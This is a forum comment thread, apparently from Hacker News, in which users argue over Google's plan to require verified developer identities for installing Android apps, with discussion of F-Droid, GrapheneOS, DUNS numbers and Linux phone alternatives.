Please consider using GrapheneOS. If it gets more momentum and users it's the only option pushing back at these tactics.
GrapheneOS only supports Google Devices, are you serious?
It just so happens that Google phones have good hardware level security - unparalleled in market, actually. The only issue is that default OS installed from factory uses this hardware security for nefarious purposes.
If you swap the OS, you get the best of two worlds.
The point is that GrapheneOS will continue to allow the sideloading of Android apps (and Google cannot do anything to prevent that).
Just because Google has been generous enough (or inattentive enough) to allow Pixel devices to run alternative OSes is not a reason to avoid GrapheneOS. Also, the Graphene project is in discussions with a manufacturer to produce a non-Pixel phone running GrapheneOS.
Well, there are other smartphone manufacturers which support using alternative operating systems.
And there are other AOSP derivatives which aren't restricted to Google devices.
Why would you buy a Google device as a response to Google restricting user freedom?
One reason is that Graphene has much better security than any of the other AOSP derivatives.
I seem to recall that Graphene's leaders maintain that Pixels are more secure when running Graphene than any other smartphone would be (when running Graphene), which is not surprising given how good in general Google is at security compared to other large tech companies.
Additionally, this kills apps like Revanced, NewPipe, SmartTube that will now be required to give out ID to Google, surely that's something they really want to do. All Open source development is at threat, Google's absolute dogshit procedures already imposed for the play store now imposed to the entire ecosystem. All for a shitty system that breaks down to "registering package names". Cool then, guess it's time to typo squat on every variant of com.faceboook.app, because users definitely check the package name and not "oh the icon is right and so is the title".
More and more locked down devices, Android source releases only being published once a year, device drivers for reference devices disappearing, and now, verification of all your software for your "security". The war on general computing is well and truly on.
What the absolute fuck.
Hopefully this increases the communal pressure to find a real alternative to android.
Stallman warned us.
https://www.gnu.org/philosophy/right-to-read.en.html
He was unable to suggest any pragmatic alternatives. He just said "I don't own a smartphone", ignoring the fact that many people become very disadvantaged without one.
The real heroes are the people that facilitate alternatives, not those who talk.
Stallman is probably in the top 10 of all time in terms of people who facilitated alternatives to this. He invented the GPL and wrote and maintained a ton of tools for people running alternative software stacks to use. What more would you ask for?
No, you're right. He deserves more credits than that. But still, the idea that you can just expect people to not use a smartphone is wrong.
I've edited my post to not claim that all Stallman did was talk, which would've been wrong.
> He just said "I don't own a smartphone", ignoring the fact that many people become very disadvantaged without one.
I know quite some people who live this way, and are very willing to overcome inconvenient hurdles to avoid having to use such a spying device.
>I know quite some people who live this way, and are very willing to overcome inconvenient hurdles to avoid having to use such a spying device.
This is kind of a lazy approach, and it's a good thing Stallman did not have that attitude towards personal computers.
But it's a bummer that there's no real equivalent for mobile devices. I use an Android device and I already consider it to be more locked down than Windows. Generally more irritating than Windows as well (maybe not Windows 11)
I also use it as little as possible (unfortunately more and more things require it) and try to get the smallest functional (for me) Android devices.
There are alternatives, using them involves sacrifices though, and there the modem baseband isn't replaceable yet. Take a look at GrapheneOS, F-Droid, Replicant, Purism Librem, PinePhone, PostmarketOS, PureOS, Mobian etc.
https://wiki.debian.org/Mobile
Okay, let's say you just became an enlightened person who understands that the current state of things need to be fixed.
To actually free yourself requires both commitment on your end and work on other people's end, those people who help facilitate alternatives and guide others to having more freedom and privacy. We need more of that work.
The speakers of the world have their place, of course, but that's not the most important part of the solution.
> To actually free yourself requires both commitment on your end and work on other people's end, those people who help facilitate alternatives and guide others to having more freedom and privacy. We need more of that work.
Such people both lead by example, and try to inspire others towards following their example/lifestyle. The problem rather is that most people want a different lifestyle (in the particular example of privacy and freedom "one with less radical consequences", which I consider to be rather contradictory, but this discussion shall be off topic).
To give an analogue: many vegetarians both lead by example, and inspire others to become vegetarians. But many people nevertheless don't want to become vegetarians.
> The real heroes are the people that facilitate alternatives, not those who talk, and Stallman was of the talking variety.
Like GNU?
This is dangerous, they are trying to prevent people from creating apps that don't support their narrative.
This is crazy, this means 10 years from now only terrorists will distribute software. Unacceptable! How many platforms now allow one to build and distribute a binary?
Only Linux, BSD and other operating systems that are entirely Open Source.
Even Windows has scary warnings now that pop up unless you pay several hundred dollars a year plus you have to go through a completely unreasonable process (that often requires being shipped a physical USB device) just to sign your application.
The attempts to roll out digital ID are similar to the perennial efforts to backdoor encryption. When one push fails, the proponents regroup and formulate a new approach. The recent successes with "age verification" have encouraged digital ID proponents. Expect further encroachments, scaremongering and trial balloons.
Natural incentives exist for tech majors to capture this space.
There's an Android app called GPSLogger.[1] It does exactly what it says on the tin. Runners use it to track their own progress. Photographers use it to geotag their own photos.
The thing is, GPS access as a permission is a bit scary. You could imagine some dubious uses for it. Moreover, you could imagine some such dubious uses creating a public relations nightmare for Google. So, Google just forces them out of the Play Store. (Technically, it's a routine renewal, but the GPS permission causes them extra scrutiny, to the point where the author burned out and gave up.[2])
Do we expect that this author should, or for that matter will, give their identity to Google after this? Or is GPSLogger just dead after this change lands?
[1]: https://gpslogger.app/ [2]: https://github.com/mendhak/gpslogger/issues/849
Google to make sideloading Android apps _harder_ by _force_ verifying developer identity for 25$ and bunch of legal documents.
If you read the article you'd see that this is a separate account type that does not have a submission fee or require legal documents. It also doesn't prevent you from side loading. It's just part of the current scare screen system when it comes to side loading.
The only promises on the announcement are:
> Verify your identity
> * You will need to provide and verify your personal details, like your legal name, address, email address, and phone number. > * If you're registering as an organization, you'll also need to provide a D-U-N-S number and verify your organization's website. > * You may also need to upload official government ID.
Only one of those three applies to organizations.
>A note for student and hobbyist developers: we know your needs are different from commercial developers, so we’re creating a separate type of Android Developer Console account for you.
Nothing about it says anything about having lighter requirements, just not going through a Play Console link. Even if the requirements end up being "lighter", the minimum will always be at least "link a Google account", which is already a massive privacy breach.
> It also doesn't prevent you from side loading.
It absolutely does. Quoting from Google:
>Starting next year, Android will require all apps to be registered by verified developers in order to be installed by users on certified Android devices.
certified Android devices being... 99.9% of all Android devices in existence.
https://android-developers.googleblog.com/2025/08/elevating-...
Then you're familiar with the process of getting a DUNS number. Because that is a massive barrier for individual devs and small teams. That is actual legal paperwork. Not having to do that makes the process significantly easier.
It's not a massive privacy breach. If you are so anti-Google yet use their devices then most likely you're already only distributing to GrapheneOS or LineageOS anyway. For most people who already have a Google account this is a very small bar to clear.
It. Doesn't. Matter.
Getting a DUNS number is ass, getting the 20 testers is ass, etc etc.
I do not want to give Google my government ID to write a shitty little app that only my family will use, or only close friends use and it gets sideloaded through sending it on chat. I do not want people making apps to skip ads on YouTube giving out their government ID. I do not want people making apps that might get them in trouble with their government to give out their government ID to Google.
> separate account type that does not have a submission fee or require legal documents
We do not know yet who will be considered "hobbyist". I would say they might check the user base. When hitting app installation threshold for let say 1,000 users, they will force you to pass the full legal check. Otherwise they will start blocking any further installations.
I think time quickly approaches when everyone will have one mobile phone for "banking/crypto" and the other for everything else.
Samsung used to have a very cool feature on their phones (perhaps they still do, I switched away from the galaxy line). It was called Knox and was basically containers for your apps.
Unfortunately it was limited to only one secure container. What I did was I had all my secure apps outside the container. And insecure inside. I had a fake address book that had only one phone number in "My Knox" and any app I installed there I could give all the file and address book permissions it wanted. As I knew it could only see what is inside.
That is what we need, but better. I never tried Graphene, but I wouldn't be surprised if there was such a feature thre already. It's kind of obvious.
Interesting. I've never really thought much about Samsung phones because I always felt that they were really full of bloatware and features that seemed to distract more than present usefulness.
Knox sounds like a pretty awesome feature though.
I use `nix-on-droid` on a Pixel 9 running stock Android 16. It provides me with a nix shell that gives me ZSH, Starship prompt, NeoVim, w3m, ssh, alpine, Claude-code, Circumflex (TUI HackerNews Client) and just about anything else I want from the Nix packages ecosystem. I even have NUR ( Nix User Repositories) set up. I daily drive NixOS for work and for Pleasure. It's the most advanced operating system I've ever encountered. I can't wax enough praise.
The closest thing to a truly open source, fully functional and daily used mobile that I ever had was the Nokia N900. Man how I miss that thing. Maemo was Nokia's original Linux-based mobile OS, which ran on the N900/950.
MeeGo was created when Nokia merged Maemo with Intel's Moblin project around 2010. It was supposed to be the future of Nokia smartphones, but Nokia abandoned it in 2011 when they switched to Windows Phone as their primary smartphone platform. Idiots.
Mer was created as an open-source continuation of MeeGo after Nokia dropped it.
Sailfish OS was then built on top of Mer by Jolla, a company founded by former Nokia employees who had worked on MeeGo.
Jolla launched in 2013 with the goal of continuing the Linux mobile vision that Nokia had abandoned. They make phones and tablets.
https://jolla.com/
The new face of Embrace, Extend, Extinguish.
Sep.2026: "The requirement goes into effect in Brazil, Indonesia, Singapore, and Thailand. At this point, any app installed on a certified device in these regions must be registered by a verified developer."
Any hint why those countries first?
Is it a local law there driving this whole move? Is a critical mass of malware originating from there?
Welp, I was euphemistically already not a fan of the developer experience for Android, now it's straight dead to me.
No reason to ever touch another day of Kotlin.
Come to think of it, why am I even on Android now as a user?
What's the alternative?
The better alternative? Dunno. An alternative is iPhone and just take some of the benefits that comes with it. It's been a much more closed ecosystem from the start, but it's owned it. Google had a competitive advantage over that but they seem intent on throwing those advantages away with no foreseeable other upsides.
In development, working on completely other problem spaces to mobile development at all. It's not 2012 anymore and there are other noteworthy growth areas to spend time on.
But one think in the short term was tonight I just spent some hours migrating registered accounts away using a Gmail account to Proton.
Dumb phone, Linux on arm, Older devices with custom OS.
The details are paramount, and they are missing here.
Some of us code our .APK, then do an `adb install`.
This already requires enabling a system flag ("developer mode -> allow etc.").
It only makes sense that a similar flag would allow to install whatever we want (especially and in particular, our own software).
Time to move to a dumb phone, I guess. Android is slowly becoming worst of both worlds, none of the privacy features of iOS yet walls of the garden keeps getting higher.
The device maker controlling an app store made no sense always. Its like saying the browser maker controls what websites you can visit. We have so many efforts at keeping the web open, shouldn't we apply that to all platforms?
Does this break F-Droid?
Would be a tragedy if it did. So many interesting and useful apps there without the obnoxious ads or nagging to upgrade.
I'm entirely on F-Droid, with no Google account and no Play Store. Losing F-Droid would force me off Android.
I'm the same. No Google account since 2012. F-Droid is an amazing community effort and has enabled me to find so many great open source applications.
Same.
One thing that annoys me is that a lot of F-Droid apps are obviously naive ports with overbroad permissions like "can read the entirety of storage", but that's still better than the all-consuming Goo.
Same.
Maybe F-Droid can sign all packages themselves? Would google let them do that?
The risk is Google could ban all F-Droid apps in one step, which will happen for sure.
"Can?" Sure.
"Would?" Google has zero incentive to do that.
>can? would?
They literally already do? https://f-droid.org/docs/Signing_Process/
And zero incentive not to.
Only for all the developers on F-Droid who refuse to register with Google...
That's not a good move at all.
> Since we implemented verification requirements on Google Play in 2023, we have seen firsthand how helpful developer identification is in stopping bad actors from exploiting anonymity to distribute malware, commit financial fraud, and steal sensitive data.
This is truly some orwellian newspeak bull-shit.
For those who don't know, Google Play verification ensures critical apps like banking apps DO NOT WORK in privacy-focused ungoogled ROMs like LineageOS, unless you install the usual google spyware at the OS level. Basically soft-requiring you to buy into the duopoly.
I think they got emboldened by EU's impotent response to Apple's Digital Markets Act (DMA) violations.
Regardless, this is extremely bad news.
My device, i want to install whatever i want.
If for safety, make it an opt-out feature, so the ones who know what they're doing can disable it.
Mandatory locking down is not for safety but for corporate control.
Well that sucks. So basically all the money weve had taken from us for our play store apps is now "just" going to be spent on administering the registration details of 800 million chinese developers and 6 billion bot accounts.
Whose smart idea was that.
This is just an extension of the increasing censorship and government / BigTech control that we have been witnessing in the past few years, with Google seeking the ability to prevent installation of any apps that is on a blocklist controlled by the government. And, like with the iDevices, this will also kill many free independent and open source apps once developers are forced to pay for "developer verification". "Free" apps are an anathema to the App Store business model.
Everytime i read a news like this i loose more hope for our world to not end up a Cyberpunk Dystopia. Like what am i supposed to do. I am just one man. One vote, one guy who isnt even to good at coding.
Mastermage, cast Meteor Swarm!
That comment just killed me. I am trying to eat Ice Cream here man. But thanks I needed that laughter.
Bold words for someone in fireball range.
So "certified" Android devices are phasing out side loading, making Google Play the only way to install an app. This is the norm on iOS, right? And in many jurisdictions, from Russia to Denmark, there is an actively hostile, and rapid, legislative push to prevent or criminalize using E2E messaging apps like Signal.
How long is it until we see countries pushing to just delist Telegram, Signal, etc from the app stores?
Well, there are two options now: Linux phones and forking/deGoogling Android. I still believe the second is far more viable. There never was much reason to do all the work twice when there's sufficiently well licensed source around, and much of the app/phone compatibility is built-in. Maybe it's time I give a chance to /e/ OS or something of the like...
One step closer to The Right to Read: https://www.gnu.org/philosophy/right-to-read.html
Here's my prediction: Sideloading will become slightly more popular. Google will not disable sideloading or make it significantly more difficult. Alternative APK stores will flourish. Banks and streaming sites will try to block people from connecting from devices with sideloading enabled, but they are slow and people will find workarounds faster. ISPs will not block devices with sideloading enabled. Governments will not ban sideloading.
Would be the best time for China to come out with a fully open source OS as competition.
Why is this story not on the front page any more? It has the most points and the most important issue at the moment.
Hmm this is weird. I've recently been considering switch back to Android because of how locked down ios is and it sounds like Google's now gonna do the same thing? Will there be a way to deactivate this?
One can only hope a company like Framework, Nothing, or Fairphone actually can produce and maintain some flagship devices running GrapheneOS or similar. The only reason I have been using Android is because of the freedom I have in my apps, customization, alternative app stores,... I hope the EU fights this with all their might. It also seems like a major geopolitical risk too.
Nothing aspires to be Apple. They're all about design. I can't see them getting invested in a nerdy philosophical cause like this
Considering that Android 5 devices are still alive and well, it will take another 10 years for google to catch up. Hoping in that time Linux based true open source mobile operating systems will make some headway. Another alternative might be PWAs (progressive web apps), that one can "install" on your homescreen, but they could be axed next.
Software developer used to be one of the most 'free' professions. But now you need a stamp of approval from some corporation to get through the day, even if you are nominally independent. And woe to you if they should ever revoke your license to feed yourself. Because 'verified developer' is just another way to say 'not a threat to Google or Google's corporate image'.
From the article:
Brazilian government right now is pushing hard to destroy any kind of freedom in social networks, so take this with (really big) grain of salt.Android is dead. With fascism now in power in the US I was going to save myself by degoogling my life anyway. This is the nail in Android's coffin for me.
Likewise. I've jumped ship from Chrome to Floorp/Firefox mobile, after 15 years.
The problem is, where do we go now, from Android?
If you think about it, the only thing that keeps this OS vendor in this duopolistic position is the fact that people rely on a certain proprietary apps. We need ways to do things like messaging and banking in a universal way, just like we can do with email, calls, texts and web. Banking and messaging should be fully universal so we don't rely on specific apps only available on specific app stores. That would take all power away from this satanic US companies!!!
These people. I don't have words.
I'm getting ready to give up on smartphones altogether. I used to think that surely a sufficiently open phone would come along, and that you could then just run a sandboxed Android emulator on that for whenever you needed some proprietary apps where society has stupidly decided you need them. But that also seems to be getting progressively harder.
So maybe I just give up on actually using a phone for much. Has anyone tried living with cheap Android or iPhone as a source of connectivity and making phone calls, perhaps with the odd app you just can't get through daily life without (see above), and then move everything where privacy and control actually matter the most to a small "pocket computer" that connects to the internet through a connection shared by the cheap phone? Are there any sufficiently compact and nice such devices? Surely they're easier to produce when you don't require a phone baseband and all the things that are needed for Google to certify it as an Android phone?
Thoughts?
Gotta love when the megacorp steps in to "help".
Time for Linux phones with Android emulation
I've been working (slowly, due to lack of time) on running VMs with Waydroid inside of Linux Phones.
Sadly, I haven't found any resources to running a _regular_ Android VM on Linux. The few resources focused on that use x86_64, which is not reasonable for a Linux phone.
This seems like the only sensible long-term solution to me unless anyone else has an alternative. AOSP public access is already on the chopping block, custom ROMs are the short term solution but still operate at Google's whim under the hood.
The are apk's floating around from the Ice Cream Sundae days where the developer went out of business and is no longer on Play Store and this is literally the only way to run the app.
I have a Concept2 rower with the old PM3 monitor which is no longer supported by their ErgData app and the only way to connect my phone to my rower is by sideloading the ancient version of the app that supports it. So that's going to break now?
I don't think EU will be OK with that. Not because they care so much about user privacy, because they don't, but because they won't let citizens get tied into US-controlled devices for most critical stuff, like banking, healthcare, eGovernment, etc.
And I do get that Apple does that already, but once Google goes same way, they EU will be forced to acknowledge the status quo.
Potentially stupid question, how will android developers load their apps onto their devices to debug? Will they just have to be verified beforehand? Or is there still a path to installing APKs through ADB and/or Android Studio?
> To combat malware and financial scams, Google
Not 75%, not 80% and not 90% but literal 100% of adds YouTube served me for a week were financial scams. It sounds to me the quickest way to fight it, is to make ad publishers finally take responsibility for taking part in crime.
I really need the more open Linux tablet and phone makers to hurry up.
In fact, they need you to survive.
You can buy a Linux phone today and make sure the vendors get their food on the table. Software is getting better. If you choose a phone with mainline kernel support (e.g. one that can run Mobian or PureOS), you can literally watch your OS improve month after month.
Alternatively, you can support the user-space ecosystem directly and fund the developers who make it happen. Donate to Sebastian Krzyszkowiak [0] and Guido Günther [1] if you can!
[0]: https://liberapay.com/dos
[1]: https://honk.sigxcpu.org/piki/donations
I have everything... And donate. But its a drop in the bucket.
This is disheartening.
I feel as an Android user, you've always had to put up with a more incoherent overall experience compared to iOS but received some additional freedom in return.
In recent years, Google has been steadily eroding their end of the bargain.
I wonder where that will leave them in the long term. Short term, I think restricting side loading will reduce piracy and drive sales of their subscriptions. Long term though, I wonder what will set Android devices apart from iOS for the average user, apart from being offered at different price points.
It feels they're playing themselves into a position where they're more directly competing with Apple, ultimately restricting themselves to lower price devices and lower margin sales. As far as walled gardens go, I personally prefer Apple's and I assume most people do.
Why even run Android at that point anymore? iOS devices get security updates for longer and have much less data collection than stock Android.
GrapheneOS won't survive the next generation of devices because bootloader unlocking will also go away (https://news.ycombinator.com/item?id=44765939), and without kernel security updates that OS can't continue.
Now there's also no more sideloading, so what purpose does Android even serve anymore?
>GrapheneOS won't survive the next generation of devices because bootloader unlocking will also go away (https://news.ycombinator.com/item?id=44765939), and without kernel security updates that OS can't continue.
The comment in the thread you linked directly contradicts the claim that "bootloader unlocking will also go away".
Exactly, the only reason to be a weirdo and have android in the first place was because there's so many good apps available outside the play store, if they lock it down just like Apple then what's the point?
> Why even run Android at that point anymore? iOS devices get security updates for longer and have much less data collection than stock Android.
Because Google-free AOSP-derived Android distributions are far more versatile, offer far more freedom, impose far fewer restrictions and tend to end up being far less expensive than whatever the fruit factory decides their dedicants have to use today. If Google goes the way of the fruit folks and AOSP no longer offers these freedoms the next step is not to surrender to the Church of Apple but to find a way to evade those restrictions.
> what purpose does an open source OS have against a proprietary one
FOSS means a lot less than it used to in Android.
Can you download, build, and install a basic Android system these days without touching a single piece of closed code? Absolutely. Will it be able to do much without closed binaries? No.
Android isn't GNU/Linux where there's a general ethos of making everything in userland FOSS if at all possible. Rather, it's a free OS that both Google and manufacturers can do anything they want with, including shove a ton of spy and bloatware on it, then make it to where you can't get rid of those things, at least not easily.
The optimism from 15 years ago surrounding FOSS in the mobile space is on its deathbed.
I would argue any amount we can get is still lightyears better than not being able to replace or inspect anything at all on the system.
I mean, kinda?
Is it really doing anyone in FLOSS any favors if the projects are legally open but not practically?
I feel rooked on Android tbh. If the idea was to give large companies a free way to manage the hardware resources in SKUs that are competitors to the iPhone, yeah, it definitely accomplished that, but that makes it only a means to an end. It's not like GNU/Linux where there's any ethos to seriously change how software and services are delivered.
A phone running just the FOSS parts of Android is not super viable for the average person.
> iOS devices [..] have much less data collection than stock Android
iOS does a tremendous amount of data collection including for the usage of ads as per Apple's privacy policy. All the same types of data that stock Android collects, even.
You may believe Apple is a generally better steward of that data than Google, but using iOS does not reduce the amount of data being hoovered up in any meaningful capacity.
> Now there's also no more sideloading, so what purpose does Android even serve anymore?
I hate this change, but I still prefer Android. iOS is hardly perfect nor does it do everything better...
Juggling between Maemo and iOS back in the day I always thought it was so wild that I later years people thought of Android as the open alternative.
This is a result of the current tech being filled with dark design patterns. Tech is designed to be addictive, indispensable, indisputable, mandatory. And at the same time complex, hard, difficult, risky.
We are so used to tech as it is that it is simple to force these bad decisions for the greater good. Because everyone is sure there is no alternative. There’s no other way to design tech, it will always be so complex and powerful that gov and corps can onesidedly decide what is best for the rest of the world.
This might be an area where local AI excels, when ready. No apps. No sharing of personal data. One AI capable of doing what most software does, on the fly, without relying on others to decide what is ok. Remains to be solved who can create and distribute this local AI and whether hardware will be allowed to run “untrusted” AI…
This is why OS is so important for LLMs and the AI ecosystem in general.
Its also why we should not trust large AI corporations that appoint themselves as stewards of "AI safety". If a company that once had the slogan "don't be evil" can do this, so can all the frontier labs
Sorry, folks, the good times are over. The future of computing is a signed, attested chain of trust from boot firmware through application code, on all platforms people are likely to use -- and remote attestation with user identification if you wish to connect to the network. End users love it because it prevents or reduces all sorts of malicious activity, from bank fraud down to online game cheating, with little to no effort on their part; platform vendors love it because it provides a moat; service providers (banks and such) love it for the assurance that their clients are uncompromised; and governments love it because it lets them surveil users and developers.
The only ones who hate it are devs. And who really cares about a bunch of nerds?
Remember, general purpose computing really boils down in security terms to "arbitrary code execution" -- a bad thing in the infosec field.
It is telling that they have not yet released the process for hobbyists and students. While it is clearly just an evil move, in praxis for tech people this could mean just the extra hurdle of signing an APK with your own developer account: I could see a workflow on top of Fdroid (which also just could become a developer and use their keys for all FOSS apps). But I am guessing those evil geniuses will find a way to make it harder and harder. In the end it is not Google that can make the change but rather banks and streaming services that could accept alternative attestations from e.g. graphene, e/OS or eventually also lineage. Problem is the distribution of power, that won't change with out legislators pushing (see in app payment)
This will also open the door for targeting you specifically with spyware if software can only be installed from the Play store.
If you are logged in with a Google account that the government doesn't approve of or not signed into an account at all, you may receive a modified app that spies on you.
Dick move. Go back to "do no evil" big G. Remember how you used to be the kool kid on the block? Now you've just become the grown up you showed contempt for in your prime time.
I doubt I'll move away from Android too soon, but that definitely makes me reconsider whether any Google services have a right to CPU time on my device.
One of the reasons I switched to Android was the freedom to make apks for my phone and not dealing with certificates, expiry dates, Google's approval, etc.
This is a depressing change if they follow through with this.
And "in the name of security" doesn't pass the smell test if there is no way to opt out.
How does this impact security researchers? Or just student developers or tinkerers? This all seem like bad idea.
I would imagine security researcher could be registered developer but I could also see autobans if that is a thing to their accounts making life complicated.
Also some folks just being locked out of the due to government censorship etc..
Never, I'll stick to LineageOS till it ceases to exist.. then I'll just buy a dumbphone, f... Google!
If this goes through, would it be possible to see a consumer class-action lawsuit? I imagine there is a class of people for whom the sideloading of apps is necessary and removing it renders their phone almost useless. I'd also guess that this market is much larger than Google imagines.
Personally, if I'm not allowed to run the software that I want on my phone, it almost makes more sense for me to get some old flip phone or one of those chinese blackberry knockoffs c.a. 2012. Not out of any principled stance, mind you, it's just that's the level of functionality you'd be reducing me to. Why should I pay $500 when I can find something that gives me the same features on a literal junk pile?
The further into this corporatized "vision" of technology we go, the more I relate the elves in LoTR who basically said "our time is over" and then just leave Middle Earth.
There is no turning back. Generations of developers will grow up thinking every form of communication and technology by virtue of existing needs a corporate groundskeeper. Government identification will be required for most things.
I don't really blame the companies, though. Unfortunately, it actually is the best means to keep a society of the masses functioning more safely online. What makes it all the more sour is that the very idea that things could be different is eroding away, too.
>Unfortunately, it actually is the best means to keep a society of the masses functioning more safely online
Imagine if people felt that way about electrical power distribution? Every single thing you ever plugged in required a license to be validated at the time you tried to use an outlet?
For me, it's obvious that better ways of doing things exist, but I'm weird, and possibly a crank.
The solution, in my opinion, is to do the same thing we do with power in the home... limit the damage that can be done by anything plugged in, only giving away a limited capability for power delivery in a given outlet.
The analogous way to do this in an operating system is to discard the idea of providing all of the computing resources available to every program you run, and limit it in some way. The "permissions flags" we've all come to dread, first with UAC in Microsoft Windows, and now on our phones, obviously suck, and won't work.
The way to do it on a desktop, is to allow the user to choose exactly which resources a program may use, at runtime, by dialog boxes similar to the ones they already use, but with the additional behavior that the operating system enforces their choices, instead of just praying a program operates as intended.
On a phone, I don't have as strong an intuition, but I'm sure it can be worked out, both in a friendly, and secure way that doesn't require full time checking with consent from our betters in the corporate overlord hierarchy.
We can have secure and user friendly compute, both in our desktops, and in all our devices.
> The way to do it on a desktop, is to allow the user to choose exactly which resources a program may use, at runtime, by dialog boxes similar to the ones they already use, but with the additional behavior that the operating system enforces their choices, instead of just praying a program operates as intended.
> We can have secure and user friendly compute, both in our desktops, and in all our devices.
I'm doubtful about that, e.g. basically all existing file system sandboxing implementations that I'm aware of tend to break workflows that are more complex than "open exactly the one single file the user selected". (Apple's implementation tries a bit harder, but you still run into limitations pretty quickly.)
E.g. when I open an image in my favourite image viewer, I don't just want to view the one picture I've opened, often enough I also want to browse through other pictures within the same directory without having to explicitly open all those other images through some OS-secured gateway. And even that isn't enough, because my favourite image viewer also has the nifty feature of being able to quickly switch into a different directory (plus it has its own built-in thumbnail directory browser), so ultimately the only way to use its full functionality is through full file system access.
Or videos – subtitles are often enough stored in separate files, so a video player will want to look for those files, too, when it starts playing a video. Split-up archive files work along the same lines, too.
And never mind things like both HTML or DWG files, both of which can reference arbitrary other files up and down the directory hierarchy which need to be loaded at the same time, too…
Now the OS can't be expected to know about the peculiarities of each and every file type, plus you can't make permissions dialogues arbitrarily complex, either, which leads you back to the dilemma of ultimately either breaking more complex workflows, or else having to provide an escape hatch that then promptly runs the risk of getting abused by malicious actors, too.
Well, when that happens it is finally goodbye to Android from me. I am switching to iOS that day.
"A recent analysis by the company found that there are “over 50 times more malware from internet-sideloaded sources than on apps available through Google Play.”
Ok, but what's the real damage? In other words, how many installs and how much money siphoned from users and legit apps?
Remind me why we keep using smart phones? They feel like a noose around our collective necks.
Disgusting, horrifying, but utterly predictable. A dark day indeed, once no major mobile platform allows running whatever code you wish. Sideloading isn't really sideloading if the app has to be signed by the gatekeeper.
Isn't this a death knell for F-Droid, at least for running on most hardware? Since they require their own builds/attestation?
The Overton Window for computing keeps inching towards gatekeepers having total control over devices. I can't help but imagine myself lurching along on the last somewhat open hardware I can cobble together in a couple of decades, because I refuse to drink the verification can to continue...
So that's how they kill newpipe.
It was only a matter of time. The run lasted a good while.
I'm not going to submit to this crap. I'm sick of it. Nor I am going to IOS. It'll be a Linux phone for me or a dumbphone with tethering and a laptop.
Can Google do something like this for entities wishing to advertise on their platform?
It feels as if that would provide far more of a public service than this... whatever this is.
Are there stats on whether more malware and financial scams come from installed apps or from advertising?
My favourite part of this thread is that the Google pr team know it's bad and aren't even attempting the usual spin in the comments. I guess they're waiting for it to blow over and just work on the "it's here and it's happening" stage
Google (and Apple) want to turn the idea of a phone and computer into that of a gaming console. You use the device according to how they design it, apps are rented, the whole ecosystem is around controlling the experience and maximizing revenue from sites and services. Microsoft seems to be moving in this direction as well (but cannot quite execute for a variety of reasons.. legacy support being one)
Linux really is the only way to have an experience where the computer is your device to do what you want to do with it.
>Android will require all apps to be registered by verified developers in order to be installed by users on certified Android devices.
It's annoying combined with them making that much harder to be a verified developer. I had an android dev account for years and published an app when it was $20 for life but now there's a bunch of hassle involved. If they had the old $20 and upload your passport to prove id it wouldn't be so bad.
This is what Apple already does, isn't it? Why wouldn't it work for Google too?
Apple requires you to get a developer account with them.
Nowhere does that require you to go and get a DUNS number, which is onerous for a single developer to do without the infrastructure of a company.
Never heard of DUNS. It seems to be a US company *Dun & Bradstreet) that provides business intelligence.
It seems kind of odd to me to rely on some kind of external hidden "credit agency"-style company for this? And why would DUNS want to know about some kid in their basement in Bangledesh making (non-malicious) apps, and why would the kid want Dun & Bradstreet to know about them? It makes no sense at all.
They're trying to control malware. Tying apps that may be malicious to an identity that takes some degree of cost and effort to establish seems sensible in that light.
It's not that the identity prevents malware/abuse, but publishing any malware to the store burns the identity and establishing another is harder than simply coming up with a new email address. It's not necessarily the best scheme out of there, but it makes sense given their apparent goal.
I've had a business get listed on DUNS; once you're on it, they resell your data forever.
Yeah, basically this is the rise of computer-credit agencies.
Youc an see the zeitgeist forming around corporations wanting to lock out any small unlicensed company from working on phones.
The key is mostly fascism in the guise of "security". Witness stuff like the ICE tracker app. Google would love a way to freeze out both it's appearance on the app store and any developer who'd program similar.
It’s not just Apple, lots of federal programs in US require a DUNS number.
To be clear, Apple does not require a DUNS number for developer registration.
It does if you have an org account: https://developer.apple.com/programs/enroll/
While the linked article notes that organizations require a DUNS number seemingly as an aside, personal accounts do not.
Which is exactly the same policy as Apple.
For me the difference is that Android is an open-source operating system. It sold itself and differentiated itself to users, developers and phone manufacturers as an open ecosystem built on open-source foundations.
Over the years, it seems Google has been trying to have their cake and eat it too, by basically subsuming others to use Android through this appeal of a more free and open operating system ecosystem, but have tried to slowly close and close it down now that it has won the other half of the market on that promise.
This feels more sly, because it's kind of a bait and switch. Apple never made such claim and was always upfront, so while I don't like it, I never bought into it in the first place for them to have the rug pulled under me after giving them my money as Google might be doing.
> For me the difference is that Android is an open-source operating system
Google Play is not open source. You're still free to sideload on phone that use vanilla open-source android like the Fairphone.
FWIW I got a DUNS number through apple as a single developer for a corp. It was super easy. If you've already gone through the trouble of setting up a corp, getting the DUNS is trivial by comparison.
Yes. You gotta pay your 100 bucks, but I don't remember feeling like my privacy was being invaded when getting a developer account. I assume the best reason they have for this is that they can nuke the account, effectively killing the install base of an app is reported to be malicious. Unless someone tells me why I should, I don't have a huge issue with this.
> I assume the best reason they have for this is that they can nuke the account, effectively killing the install base of an app is reported to be malicious.
They can already target malicious apps via Play Protect, including presumably all apps signed by the same signing key, so from that point of view no change would be needed. What this is presumably supposed to achieve is rather making it harder to rotate your signing key after it has been burnt…
Things done 'for the sake of security' often conflict with a vast majority of good actors that benefit from the so called 'threat'.
In general this is a backwards step for the ecosystem.
Apple and Google are now competing on being more closed, rather than on being more open. Perhaps because we gave Apple a free pass on curbing our freedoms, and even defended its actions as needed for 'security'
Play Integrity and device attestation need their own torrent-tracker moment, just like DRM did.
GrapheneOS says they won't touch it because it's a cat-and-mouse game. I think that's the wrong call. DRM was the same, yet torrent trackers are still here.
We have to find a way to punish Google if they move forward with this. We need the Gemini folks to be worried that this distraction will jeopardize their competitiveness in AI.
You will soon be viewed as a criminal if you run a custom ROM / flavour of Android.
What the fuck is happening to computing and our personal devices.
I have a horror thought: "We cannot validate your identity as you are of the wrong nationality; therefore, you are not allowed to publish any Android apps."
The D-U-N-S requirement is the real killer here. It's a business identifier that costs money and requires a registered business entity. Even with the promised 'student/hobbyist' path, this fundamentally changes Android from a platform where anyone can distribute software to one where Google decides who's allowed to code. They're further normalizing the idea that installing software requires permission.
They cannot solve all problems but thank God we have Progressive Web Apps; long-term, I guess there needs to Android-like alternative
That's it! I'm out! Had every pixel from the beginning but I think I'm going Iphone so at least people will quit making fun of me.
This means even more influence to Chinese phone makers which don't bother themselves with compliance to Google's platform ideas
I saw this coming a mile away. Everyone said you could install whatever you wanted on Android, but you were always jumping through some crazy hoops to do so. (compared to a general propose computer)
